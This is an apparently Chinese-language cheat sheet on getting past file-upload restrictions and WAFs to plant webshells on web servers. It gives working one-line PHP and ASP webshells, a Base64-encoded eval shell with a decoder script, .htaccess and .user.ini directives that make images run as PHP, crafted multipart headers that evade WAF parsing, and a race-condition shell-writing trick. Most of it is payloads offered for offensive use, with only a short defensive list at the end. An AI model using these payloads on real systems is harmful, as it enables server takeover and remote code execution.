文件上传绕过速查
字数 2029 2025-08-15 21:32:28
文件上传绕过技术全面指南
一、上传绕过分类
文件上传绕过主要分为两类:
- 基于代码限制的绕过 - 针对应用程序自身的文件上传验证逻辑
- 基于防火墙(WAF)的绕过 - 针对Web应用防火墙的检测机制
二、前端JS限制绕过
限制特征:只能上传规定后缀文件
绕过方法:
- 禁用检测文件后缀的JS代码
- 上传正常格式文件后,抓包修改filename为脚本格式
三、Content-type限制绕过
限制特征:后台校验上传文件的Content-type是否为指定值
绕过方法:
- 上传时抓包修改Content-type
- 上传正常格式文件后,抓包修改filename为脚本格式
四、文件后缀黑名单检测绕过
1. 大小写绕过
- 示例:黑名单为
.php,可上传.PHP或.Php
2. 特殊字符绕过(仅Windows)
- Windows会自动去除文件名后缀最后一个
.、_和空格 - 示例:上传
.php.、.php_或.php(末尾有空格)
3. ::$DATA绕过(仅Windows)
- 格式:
文件名::$DATA - Windows会将
::$DATA之后的数据当成文件流处理
4. 双写绕过
- 适用于替换但不递归删除的函数
- 示例:上传
a.phphpp,php被替换为空后成为a.php
5. 00截断绕过
- 上传
a.php.jpg,抓包在php后添加字符并修改HEX值为00 - 解析后成为
a.php - 常见于ASP程序,JSP也会出现
- PHP限制条件:
- PHP版本<5.3.4
- php.ini中magic_quotes_gpc设置为OFF
6. 上传可解析的扩展名
常见可解析扩展名:
- ASP/ASPX:asp, aspx, asa, asax, ascx, ashx, asmx, cer, aSp, aSpx, aSa, aSax, aScx, aShx, aSmx, cEr
- PHP:php, php5, php4, php3, php2, pHp, pHp5, pHp4, pHp3, pHp2, html, htm, phtml, pht, Html, Htm, pHtml
- JSP:jsp, jspa, jspx, jsw, jsv, jspf, jtml, jSp, jSpx, jSpa, jSw, jSv, jSpf, jHtml
7. .htaccess和.user.ini绕过
.htaccess使用条件:
- 仅适用于Apache
- Allow Override All
- rewrite_module开启(LoadModule rewrite_module modules/mod_rewrite.so)
.htaccess内容示例:
AddType application/x-httpd-php .jpg # 将所有.jpg文件作为php解析
<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
</FilesMatch> # 将所有包含BaiZe的文件作为php解析
.user.ini使用条件:
- 服务器使用CGI/FastCGI模式
- 目录下要有可执行的php文件
.user.ini内容示例:
auto_prepend_file=a.jpg # a.jpg中的PHP代码会被执行
五、文件头限制绕过
绕过方法:
- 上传图片马,然后修改后缀为可执行脚本
- 上传一句话木马并在文件中添加正常格式文件头(如
GIF89a)
六、危险函数检测绕过
绕过方法:
-
动态调用绕过:
<?php $_GET['0']($_GET['1']); ?>注:不能绕过disable_function
-
上传编码后的webshell配合.htaccess解析
-
分步上传解码:
- 上传Base64编码的webshell(如1.php内容为
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=) - 上传解码脚本(2.php):
<?php $path = "/xx/xxx/xx/1.php"; $str = file_get_contents($path); $strs = base64_decode($str); $test = fopen("./test.php", "w"); fwrite($test, $strs); fclose($test); ?>- 访问2.php生成test.php,再访问test.php即可getshell
- 上传Base64编码的webshell(如1.php内容为
七、WAF拦截绕过
1. 换行绕过
Content-Disposition: form-data; name="file"; filename="1.p hp"
Content-Disposition: form-data; name="file"; file name="1.php"
Content-Disposition: form-data; name="file"; filename= "1.php"
2. 多个等号绕过
Content-Disposition: form-data; name="file"; filename==="a.php"
3. 增大文件大小(垃圾字符填充)
Content-Disposition: form-data; aaaaaaaaa...aaaaa;name="file"; filename="a.php"
4. 引号处理
Content-Disposition: form-data; name=file1; filename=a.php
Content-Disposition: form-data; name='file1'; filename="a.php"
5. 增加filename干扰
Content-Disposition: form-data; name="file"; filename= ; filename="a.php"
6. 混淆匹配字段
-
去除form-data:
Content-Disposition: name="file"; filename="a.php" -
替换form-data:
Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php" -
form-data后加空格:
Content-Disposition: form-data ; name="file"; filename="a.php" -
form-data中加+:
Content-Disposition: for+m-data; name="file"; filename="a.php" -
大小写混淆:
COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php" -
调换Content-Type和Content-Disposition顺序:
Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="a.php" -
增加额外头:
AAAAAAAA:filename="aaa.jpg"; Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif
7. 双文件绕过
- 安全狗通常以最后一个Content-Disposition作为检测参数
- IIS6.0等中间件通常以第一个Content-Disposition作为接收参数
8. Boundary不一致绕过
Content-Type: multipart/form-data; boundary=471****1141173****525****99
Content-Length: 253
--471****1141173****525****99
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")
--471****1141173****525****99--
WAF可能认为不一致的Boundary无意义而不检测,而容器会正常接收
9. 条件竞争
- 上传生成一句话木马的文件:
fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>'); - 同时疯狂重复发包访问此文件,可能在文件被删除前生成webshell
八、总结
文件上传绕过技术多样,实际应用中需要:
- 充分信息收集,了解目标防护措施
- 根据具体情况选择合适的绕过方法
- 多种技术组合使用提高成功率
- 注意不同系统/环境的限制条件
防御方应实施多层次防护,包括但不限于:
- 文件内容检测
- 文件重命名
- 限制执行权限
- 使用白名单而非黑名单
- 定期更新防护规则